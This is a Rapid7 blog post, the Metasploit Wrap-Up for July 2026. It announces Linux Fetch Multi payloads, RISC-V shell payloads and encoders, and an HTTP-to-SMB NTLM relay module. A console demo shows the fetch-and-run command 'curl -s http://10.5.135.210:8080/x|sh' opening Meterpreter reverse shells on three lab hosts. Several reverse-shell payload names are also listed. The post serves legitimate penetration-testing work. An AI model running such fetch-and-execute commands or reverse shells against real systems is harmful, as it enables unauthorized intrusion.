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Rapid7 Cybersecurity Blog

Rapid7 Sunsetting the Public AttackerKB Platform | Rapid7 Rapid7 Rapid7 Labs: Investigating Persistence Mechanisms in AWS Rapid7 CVE-2026-55040: Microsoft SharePoint JWT Token Authentication Bypass (FIXED) Rapid7 and Mindware Partner Across the Middle East Rapid7 Security Teams Are Ready To Become More Preemptive. What’s Holding Them Back? A Day With Your Vector Command Red Team Pod Rapid7 Formalizing Red Teaming Offensive Methodology as a Multi-Agent AI Architecture 5 Myths About AI in the SOC Security Teams Need to Rethink Modernizing Global Vulnerability Standards For The Age Of AI Rapid7 Why AI and Compliance Are Forcing A New Security Operating Model, with Rapid7's Corey Thomas & Sabeen Malik Why SIEM is Moving Toward Unified Security Operations: Rapid7 Named a Major Player in IDC MarketScape Rapid7 Why Security Teams Need To Start Earlier: New eBook on the Need for Preemptive Security Malware à la Mode: Tracking Dropping Elephant Tradecraft Through a China-Themed Loader Chain NIS2 is raising the bar. Here’s how to turn readiness into resilience. Does Your Security Programme Align With NIS2 Requirements? Beyond the Score: Using AI to Translate CVEs into Real-World Business Risk Weekly Metasploit Update: New Kerberos/Certificate tracing options, and multiple new modules Active Exploitation of Oracle PeopleSoft Zero-Day (CVE-2026-35273) Automated Threat Hunting: Turning Threat Intelligence into Executable Hunt Plans Criminal AI-as-a-Service in 2026: How the Underground Market Is Operationalizing Cybercrime CVE-2026-10520, CVE-2026-10523 - Multiple critical vulnerabilities affecting Ivanti Sentry Patch Tuesday - June 2026 Critical Check Point VPN Zero-Day Exploited in the Wild (CVE-2026-50751) Weekly Metasploit Update: Apache ActiveMQ RCE, Gogs Rebase RCE, and Windows Kernel Pointer Enum How the “Swiss Cheese” model can help you choose the right MDR provider A Day in the Life of an MDR Analyst: Inside the Modern SOC Rapid7 Gains Access To Anthropic’s Project Glasswing To Explore Frontier AI For Cybersecurity CVE-2026-0826: How an Old Bug Can Feed AI-Powered Impersonation CVE-2026-0826: Critical unauthenticated stack buffer overflow in HP Poly VVX and Trio VoIP Phones (FIXED) Rapid7 and Exclusive Networks Expand Partnership Across the Nordics Metasploit Wrap Up 05/29/2026 Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability (CVE-2026-0257) Experts on Experts: Why Compliance is becoming Continuous CVE-2026-52806: Authenticated RCE via Argument Injection in Gogs (FIXED as of June 7, 2026) How Security Leaders Cut Through Complexity to Drive Better Outcomes Metasploit Wrap Up 05/22/2026 Q1 2026 Threat Landscape Report: Zero-clicks, geopolitical tensions, and some wins for law enforcement Operationalizing CTEM Faster: Build Surface Command Dashboards in Minutes Rapid7’s 2026 Global Cybersecurity Summit: Key Takeaways for Security Leaders Metasploit Wrap-Up 05/15/2026 CVE-2026-0265: Authentication Bypass in Palo Alto Networks PAN-OS CVE-2026-20182: Critical authentication bypass in Cisco Catalyst SD-WAN Controller (FIXED) When Network Controllers Become "God Mode" for Attackers Pluribus and the Path to Domain Compromise: A ModeloRAT Case Study Rapid7 Drives Partner Impact with Stevie Award-Winning Certifications Patch Tuesday - May 2026 Last Chance to Join the Rapid7 Global Cybersecurity Summit Metasploit Wrap-Up 05/08/2026 How Rapid7 is Bringing Cyber GRC Closer To Security Operations Scaling Detection Engineering at the Speed of Software, with Detection As Code Rapid7 and OpenAI: Advancing AI For Preemptive Security Why Security in 2026 Requires Continuous Threat and Exposure Management (CTEM) at Scale Critical Buffer Overflow in Palo Alto Networks PAN-OS User-ID Authentication Portal (CVE-2026-0300) Muddying the Tracks: The State-Sponsored Shadow Behind Chaos Ransomware A Walkthrough of the 2026 Global Cybersecurity Summit Agenda Metasploit Wrap-Up 05/01/2026 Five Things we Took Away from Gartner SRM Sydney 2026 CVE-2026-41940: cPanel & WHM Authentication Bypass Experts on Experts: The 2026 Threat Landscape is Moving Faster than Defenders Expect Get Motivated: What to Expect from Our Keynote at Rapid7's Global Cybersecurity Summit MDR Selection is a Partnership Decision Metasploit Wrap-Up 04/25/2026 3 Reasons to Attend our Global Cybersecurity Summit if you’re Focused on AI, Threats, and CTEM AI is Changing Vulnerability Discovery and your Software Supply Chain Strategy has to Change with it Kyber Ransomware Double Trouble: Windows and ESXi Attacks Explained From Bulk Export to AI-ready Security Workflows: Introducing Rapid7’s Open-Source MCP Server and Agent Skill Project Glasswing and the Next Challenge for Defenders: Turning Faster Discovery into Faster Action Metasploit Wrap-Up 04/17/2026 CVE-2026-33032: Nginx UI Missing MCP Authentication Rapid7 Analysis: ClickFix-style Phishing Campaign Uses Fake Claude Installer Rapid7 Exposure Command and Remediation Hub: A Clearer Path from Exposure to Patch Patch Tuesday - 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Rapid7
Rapid7 · 2026-07-18 · via Rapid7 Cybersecurity Blog

While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the RSS Feed to be alerted when new blogs are released.

Fetch Multi: Just Fetch and Forget?

Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.

Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

RISC architecture is going to change everything!

Speaking of juggling multiple architectures, bcoles added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.

New module content (4)

Microsoft Windows HTTP to SMB Relay

Author: jheysel-r7

Type: Auxiliary

Pull request: #21620 contributed by jheysel-r7

Path: server/relay/http_to_smb

Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.

Byte XORi Encoder

Author: bcoles [email protected]

Type: Encoder

Pull request: #21235 contributed by bcoles

Path: riscv32le/byte_xori

Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.

FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod

Authors: Brendan Watters, Spencer McIntyre, and bcoles [email protected]

Type: Payload (Adapter)

Pull request: #21384 contributed by bwatters-r7

Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.

This adapter adds 421 new payloads for all Linux and Windows architectures including:

  • cmd/linux/ftp/aarch64/chmod
  • cmd/linux/ftp/x86/meterpreter/reverse_tcp
  • cmd/windows/ftp/aarch64/meterpreter_reverse_http

FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager

Authors: Brendan Watters, Spencer McIntyre, and bcoles [email protected]

Type: Payload (Stager)

Pull request: #21237 contributed by bcoles

Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.

  • cmd/linux/ftp/riscv32le/shell/bind_tcp
  • cmd/linux/http/riscv32le/shell/bind_tcp
  • cmd/linux/https/riscv32le/shell/bind_tcp
  • cmd/linux/tftp/riscv32le/shell/bind_tcp
  • linux/riscv32le/shell/bind_tcp
  • cmd/linux/ftp/riscv32le/shell/reverse_tcp
  • cmd/linux/http/riscv32le/shell/reverse_tcp
  • cmd/linux/https/riscv32le/shell/reverse_tcp
  • cmd/linux/tftp/riscv32le/shell/reverse_tcp
  • linux/riscv32le/shell/reverse_tcp
  • cmd/linux/ftp/riscv64le/shell/bind_tcp
  • cmd/linux/http/riscv64le/shell/bind_tcp
  • cmd/linux/https/riscv64le/shell/bind_tcp
  • cmd/linux/tftp/riscv64le/shell/bind_tcp
  • linux/riscv64le/shell/bind_tcp
  • cmd/linux/ftp/riscv64le/shell/reverse_tcp
  • cmd/linux/http/riscv64le/shell/reverse_tcp
  • cmd/linux/https/riscv64le/shell/reverse_tcp
  • cmd/linux/tftp/riscv64le/shell/reverse_tcp
  • linux/riscv64le/shell/reverse_tcp

Enhancements and features (4)

  • #21235 from bcoles - Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.
  • #21384 from bwatters-r7 - Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.
  • #21599 from Pushpenderrathore - This extends CertificateTrace functionality to also surface the server's TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.
  • #21602 from zeroSteiner - Updates the Windows service PE template to use an injected segment instead of the old substitution method.

Bugs fixed (4)

  • #21621 from eipoverflow - This fix a limitation on running fileless staged Meterpreter in recent OSX versions.
  • #21670 from zeroSteiner - Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.
  • #21675 from sjanusz-r7 - Fix search_cache job cache generation by skipping multi arch payloads.
  • #21677 from bwatters-r7 - Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro